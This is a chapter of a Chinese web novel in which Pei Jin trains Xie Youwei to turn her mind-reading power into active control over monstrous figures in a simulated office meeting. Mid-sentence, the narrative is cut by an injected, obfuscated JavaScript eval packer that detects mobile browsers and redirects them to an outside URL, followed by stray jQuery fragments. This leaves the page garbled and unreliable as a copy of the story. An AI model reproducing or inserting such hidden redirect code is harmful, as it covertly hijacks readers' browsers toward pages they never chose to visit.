31. Season1

作品:《修罗场先暂停,让我听个心声

    【经营赛第13日】


    黑暗的空间内唯一的光源是圆桌中央悬浮的一颗暖白色的珠子。光线勾勒出谢幼薇平静的侧脸。


    她提前了五分钟到达,此刻正襟危坐,眼神坚毅而认真。


    黑暗中的某处,有人无声无息地踏进来。暗色空洞在裴烬身后闭合,他黑色礼服的下摆拖曳在地面上,没有发出一点声音。


    他预期会看见一个紧张绞着手指眼神躲闪的女人,甚至准备好了应付她可能出现的讨好或者畏缩。


    但谢幼薇在发现他的时候便只是站起身,微微颔首,脸上的表情自信从容。“领主大人,感谢您拨冗前来。”


    声音平稳挑不出错,既没有因着曾经和他的上下级身份而借机拉进关系,也没有因为现在他的领主身份而极尽讨好。


    裴烬随便挑了把椅子坐了下来,不着痕迹地打量了一下她的略显正式的衣着。


    “说吧,你想从我这里得到什么?”他的语气闲适,仿佛只是在聊今天的天气:“你自己有计划吗?具体的、量化的,不要用‘变强’这种泛泛的词汇,那样只会让我觉得你脑袋空空。”


    来了来了,裴总面无表情地说出这种刻薄话语,实在是太经典了。


    谢幼薇因为做好了心理准备,倒也没有觉得被冒犯。


    “我想要将读心术从被动接收变为主动干预。我意识到我有这个能力,但只是浮于表面,我无法控制它。”


    这是谢幼薇想了好久才确定的。在和霍克斯、茜拉等一众诡异们的交手中,她隐隐地察觉了自己的异常。按理来说霍克斯当时那么偏执,是不可能仅仅因为她一句话而停手的。有什么东西影响了霍克斯的决定。


    裴烬面无表情地看着她,那不动声色的样子给人很大的压力。某个瞬间谢幼薇甚至都想开口放弃了。算了吧,要是这样的要求真的太过分,她也可以提出让他送她脱离经营赛回家之类的。


    “这答案不算好,但也过关。”当裴烬终于开口时,谢幼薇心底松了一口气。


    “既然你执意要我教你这件事……你可知道主动干预与被动接收,那是两种天壤之别的能力?主动干预的时候你要赋予这件事情生命,这很有必要。”裴烬托着一侧脸颊,靠在椅子扶手上,似乎有点意兴阑珊。


    谢幼薇莫名觉得他这个样子有点眼熟,不是因为他们以前是同事的原因,而是觉得他这样和什么人很像。


    裴烬突然笑了起来,他这个人长得好看,谢幼薇虽然不知道他为什么要笑,但不妨碍她欣赏一下。谁知下一刻她就笑不出来了。


    “看你的表情,我猜你肯定是没听懂。很好,这并不出乎我的意料。”


    她听着这句话,心想以后再被他这个人的皮相蛊惑,她就是蠢货。


    “请问我需要怎么学习呢?”谢幼薇勉强扯出一个笑容。


    裴烬皱了皱眉:“学习的过程会很漫长,我会一直注意着你……按照你的资质,或许会比最差的那种情况好一点。但希望你不要太得意忘形,也不要三心二意。”


    谢幼薇立即低下了头,掩饰住自己扭曲的表情。不过还好没有让她等多久,裴烬又说:“过来。”


    她看着他朝她伸出的手,有点犹豫。


    “过来,”他又重复道,“我带你去训练你的能力。”


    谢幼薇没有再犹豫,握住了他的手。当她搭上他冰凉的手指那一瞬间,她感觉自己似乎被送入了一个旋转的洗衣机内,翻滚着吵闹着,没多久之后被洗衣机吐出来扔到地上。


    这个世界的传送方式就没有温柔一点的吗?


    她头晕目眩地站起来,发现周围的景色很熟悉。是办公室的打印室!一旁的打印机正发着噪音,吐出一份份文件。


    “薇薇姐,你怎么躲在这儿!会议马上要开始了,就等你了,赶快过去!”


    这个声音是,莉莉?谢幼薇疑惑地看着跑进来的女孩子。


    莉莉不由分说领着谢幼薇往会议室跑去,推开门,里面已经坐着一众人。她从遥远记忆中翻出了这些人的身份和名字,那是她曾经接触过的最难缠的客户,隔壁组经常给她使绊子的组长,以及某个刁蛮的供应商。


    而会议桌的主位上,穿了一身裁剪得体西装的裴烬,则意兴阑珊地靠坐在那里,手中把玩着一支笔。


    “这些‘人’,就是你的对手。”她听到他在讲话,但似乎其他人对此视而不见。


    这不合理,这些人不应该坐在一起!这是她的第一反应,但随即坦然。这是训练,没什么合理不合理的。


    那个眼神到处乱瞄的供应商,往前探了探身子首先开口:“谢小姐,今年的服务款项需要调整,我们要提高200%服务费。”


    说完,供应商就如同被按下了暂停键,一动不动地看向她。


    裴烬不知道什么时候来到了她的身后,在她耳边轻声说:“你看,他多贪婪,人性就是这样,永不满足。但你现在要扼制住他的想法,推导他的对应行为逻辑,然后,用你的话语,为他设置下一个框架。做得到吗?”


    堪透,推导,框死。谢幼薇在心里总结了一下。


    但没等她细想,那个供应商的暂停键就被取消。她能看见他胸口微微起伏,以及到处乱瞄的眼神。想了想,谢幼薇尝试着开口。


    “贪婪不是你涨价的借口。”


    谢幼薇话音刚落下,会议室里突然陷入死寂。那个原本眼神乱瞄的供应商,此刻嘴角一点点咧开,露出里面层层叠叠的尖牙。


    “借口…不是…”它带着贪欲的眼神朝着谢幼薇逼近。


    谢幼薇本能地后退,心如擂鼓。


    “后退有用?”裴烬冷冽的声音在她身侧平静地响起。他看都没看那只逼近的诡异,只是盯着谢幼薇。“你堪透了吗?贪婪是它的核心,但你否定了它的贪婪,就是在否定它存在的根基。这在诡异世界里意味着宣战。”


    “我…”谢幼薇干涩地吞咽了一下。堪透,推导,框死,她发现自己确实连第一点都没有做到。


    裴烬打了个响指:“重新来。”


    随着这三个字,逼近的诡异、周围凝滞的同事、整个会议室都像是倒放的录像般极速回缩,一切重置到莉莉带着她刚推门进来的那一刻。只有谢幼薇和裴烬一前一后站在门边。


    供应商又开始眼神乱瞄:“今年的服务款项需要调整,我们要提高200%。”


    谢幼薇这次集中了注意力,她听到了一点不一样的东西。


    【再多赚点,明年还有后年…嘿嘿,都是我的…】那是供应商的心声。


    见谢幼薇发愣,裴烬在她身后低声说:“承认他。”


    谢幼薇立即回神,声音比起上次更稳:“我承认你的贪婪和你的欲望,存在即合理,但你的索取必当支付等值的……”等值的什么?秘密?代价?她卡住了。因为她瞬间意识到,在这个虚构的会议场景里,她不知道对方能支付什么等值的东西。


    她犹豫了。


    就是这不到半秒的犹豫,规则出现了裂痕。


    供应商脸上再度浮现出诡异的笑容。“支付?我支付了等值的服务给你了啊,谢小姐。你不能那么贪心!”他速度极快地扑到谢幼薇面前,层层叠叠的尖牙几乎擦着谢幼薇的脸庞而过,但却被裴烬一指点着推开。


    “真丑。”他嫌弃地甩甩手,同时打了个响指。一切暂停。


    “你在干什么,为什么要犹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031123|192203||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    豫?你以前的机灵劲呢?”裴烬的声音冷冰冰地质问,“‘等值的’后面是什么?你必须瞬间完成这个等价公式。贪婪索取的对应物是什么?不要去想那些虚无的‘回报’,去找那些具体的、他同样渴望但是不愿付出的东西。”


    “去抓住他‘存在’的另一面。他贪婪,所以他恐惧失去。那就用他恐惧的来框定死他所贪婪的。”


    谢幼薇捂着心口,冷汗浸湿了后背。两次失败,两次直面诡异的攻击,尽管知道裴烬应该不会不管,但这种战栗的真实感让她几乎脱力。


    “集中注意力,再来。”裴烬一个响指,一切归位。


    谢幼薇看着第三次坐回原地的供应商。


    他的贪婪对应的是什么?失去…他怕失去什么?他怕……失去机会!他会害怕没有明年和后年!


    供应商已经说完了那个200%的涨幅,正定定地看着她。


    “我承认你的贪婪存在,并赋予它对等的价值。但你的每一次索取,都会在未来失去50%的竞争机会。此约,立成。”


    话音刚落,谢幼薇感觉身上冒出一阵力量,这股力量束缚住了对方,让对方必须在她的规则下玩这个游戏。


    供应商张开的嘴僵住,他贪婪的眼神闪烁了几下,身上被一道金色的细线缠绕,这道金色细线的源头就来自于谢幼薇的指尖。


    他张了张嘴,最终没能继续说出涨价的话,而是有些悻悻然地坐了回去咕哝着:“那…那再议吧。”


    成功了!


    “马马虎虎。”裴烬不知何时坐回了会议室尽头的那张椅子上,继续玩着那支笔。“框架粗糙,逻辑也勉强,甚至还给对方留了退路。既然是你的规则就可以更狠一点。”


    他有点没好气地说:“好了,换下一个。”


    随着这句话,那个供应商从座位上消失了,而隔壁组的组长推了推眼镜,抬头看向谢幼薇。


    他举着一份报告:“你这个方案的数据支撑我不信,你别以为这样就想从我们组拿到资源。”他的手指在这一瞬间暴长,几乎要把报告撕碎。


    谢幼薇这次没有盲目行动,她意识到自己需要一气呵成地制定规则。


    【一个女人而已,凭什么来调动我的组员。我要是被一个女人比下去还了得?谁还会来听我的?】这是她听到的隔壁组长的心声,甚至一些凌乱的画面都冲入她的视线。那是…属于组长的记忆,他被组员看不起的片段,他内心深处的焦虑。


    他的偏见本质是…谢幼薇有了主意。


    她迎上组长的目光:“我承认你的偏见存在,它源于你对项目主导权的焦虑。从现在起,你的每一次质疑都会让你的权威削减一分。撤回无效,立成。”


    隔壁组长嚣张的气势立即灭了,更多的是被说中心事的慌乱。就连原本蠢蠢欲动即将异化的躯体也平息了下去。金线再次浮现,缠绕。组长张了张嘴想要反驳,最后发现说不出那些空洞的批评了。


    她确实聪明,裴烬目光微闪地看着这一幕。


    “效率太低了。”裴烬转着手中的笔评价,“但方向没错,下一个。”


    谢幼薇看着消失的组长,现在只剩下那个难缠的客户了。


    她在这个会议室里不知道呆了多久,面前的诡异一个个出现,又一个个消失。她的规则制定越来越熟练,也能听到越来越完整的心声、看到越来越多的记忆碎片。


    密集的训练让她大脑中被充塞了大量的负面信息,某几个瞬间她差点疯狂。直到会议室里变得空空荡荡,她才蓦地回神。她现在发丝汗湿,眼睛充血,还大口地喘气着。活像刚刚跑完一千米的样子。


    “这次,我来当你的对手。”裴烬抬着下巴看她。